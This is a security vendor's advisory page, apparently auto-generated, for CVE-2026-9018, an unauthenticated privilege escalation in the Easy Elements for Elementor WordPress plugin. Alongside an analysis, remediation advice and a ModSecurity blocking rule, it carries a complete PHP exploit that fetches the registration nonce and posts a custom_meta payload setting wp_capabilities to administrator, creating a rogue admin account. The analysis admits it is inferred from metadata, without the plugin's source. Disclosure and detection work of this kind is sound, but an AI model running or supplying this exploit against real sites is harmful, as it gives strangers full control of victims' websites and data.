Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : May 21, 2026

CVE-2026-9018: Easy Elements for Elementor – Addons & Website Templates <= 1.4.5 – Unauthenticated Privilege Escalation via 'custom_meta' Parameter (easy-elements)

CVE ID CVE-2026-9018
Plugin easy-elements
Severity High (CVSS 8.8)
CWE 269
Vulnerable Version 1.4.5
Patched Version
Disclosed May 20, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-9018 (metadata-based): This vulnerability affects the Easy Elements for Elementor – Addons & Website Templates plugin for WordPress, up to version 1.4.5. It allows unauthenticated privilege escalation via the `easyel_handle_register()` function, specifically through the `wp_ajax_nopriv_eel_register` AJAX handler. The CVSS score is 8.8 (High), indicating critical severity.

The root cause is improper privilege management (CWE-269). Based on the description, the `easyel_handle_register()` function handles user registration. After `wp_insert_user()` assigns a safe role, the function iterates over an attacker-controlled `custom_meta` POST array. It writes each key-value pair to the user’s metadata using `update_user_meta()` without any whitelist or blocklist. This allows an attacker to overwrite the `wp_capabilities` user meta key, effectively granting any desired role, including administrator. Atomic Edge analysis determines this is the likely vulnerability pattern, but without source code access, this is inferred from the CWE, description, and known WordPress meta handling patterns.

Exploitation requires user registration to be enabled on the site and a page exposing the Login/Register widget. The widget publishes a nonce (`easy_elements_nonce`) into the page DOM, which can be retrieved via a simple GET request. An unauthenticated attacker then sends a POST request to `/wp-admin/admin-ajax.php` with `action=eel_register`, `easy_elements_nonce` (obtained from the DOM), and a crafted `custom_meta` array: `custom_meta[wp_capabilities][administrator]=1`. The handler processes the registration and overwrites the user’s capabilities, creating an administrator account.

Remediation must restrict the `custom_meta` parameter. The plugin should implement a strict whitelist of allowed user meta keys during self-registration. Blocking `wp_capabilities`, `wp_user_level`, and other sensitive keys is mandatory. Alternatively, the plugin should avoid processing user-supplied meta after `wp_insert_user()` completely. Input sanitization alone is insufficient; the fix must use a whitelist approach.

If exploited, an unauthenticated attacker gains administrative access to the WordPress site. This leads to full site compromise, including data theft, content manipulation, plugin/theme modification, and potential remote code execution through admin-level file uploads. The impact includes complete loss of confidentiality, integrity, and availability.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" "id:20269018,phase:2,deny,status:403,chain,msg:'CVE-2026-9018 - Unauthenticated Privilege Escalation via Easy Elements custom_meta',severity:'CRITICAL',tag:'CVE-2026-9018',tag:'wordpress',tag:'easy-elements'"
    SecRule ARGS_POST:action "@streq eel_register" "chain"
        SecRule ARGS_POST:custom_meta "@rx wp_capabilities" "t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
<?php
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-9018 - Easy Elements for Elementor – Addons & Website Templates <= 1.4.5 - Unauthenticated Privilege Escalation

// Configuration - set these variables
$target_url = 'https://example.com'; // The base URL of the WordPress site
$username = 'attacker_admin'; // Desired username for the new admin account
$email = 'attacker@example.com'; // Email for the new account
$password = 'ExploitPass123!'; // Password for the new account

// Step 1: Retrieve the nonce from a page that contains the Login/Register widget
// The plugin's widget publishes a hidden input with id 'easy_elements_nonce'
// We need to fetch a page where the widget is active, e.g., a specific page or the homepage.
// For this PoC, we assume the homepage has the widget. Adjust $nonce_page_url as needed.
$nonce_page_url = $target_url; // Modify if the widget is on a specific page like /login/

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $nonce_page_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

if (curl_errno($ch)) {
    die('Error fetching nonce page: ' . curl_error($ch) . "n");
}
curl_close($ch);

// Extract the nonce value from the HTML
// The nonce is typically in a hidden input like: <input type="hidden" id="easy_elements_nonce" value="...">
preg_match('/<input[^>]*id="easy_elements_nonce"[^>]*value="([^"]+)"[^>]*>/i', $response, $matches);
if (empty($matches[1])) {
    die('Nonce not found on the page. Ensure the page contains the Login/Register widget.n');
}
$nonce = $matches[1];
echo "[*] Retrieved nonce: $noncen";

// Step 2: Send the registration request with the malicious custom_meta payload
$registration_url = $target_url . '/wp-admin/admin-ajax.php';

$post_data = array(
    'action' => 'eel_register',
    'easy_elements_nonce' => $nonce,
    'username' => $username,
    'email' => $email,
    'password' => $password,
    'custom_meta' => array(
        'wp_capabilities' => array(
            'administrator' => 1
        )
    )
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $registration_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
$response = curl_exec($ch);

if (curl_errno($ch)) {
    die('Error during registration: ' . curl_error($ch) . "n");
}
curl_close($ch);

echo "[*] Registration response: $responsen";

// Parse response to check success (the plugin likely returns JSON)
$decoded = json_decode($response, true);
if ($decoded && isset($decoded['success']) && $decoded['success'] === true) {
    echo "[+] Privilege escalation successful! New admin user created.n";
    echo "[+] Username: $usernamen";
    echo "[+] Password: $passwordn";
} else {
    echo "[-] Exploit may have failed. Check response and ensure prerequisites (user registration enabled, widget published) are met.n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School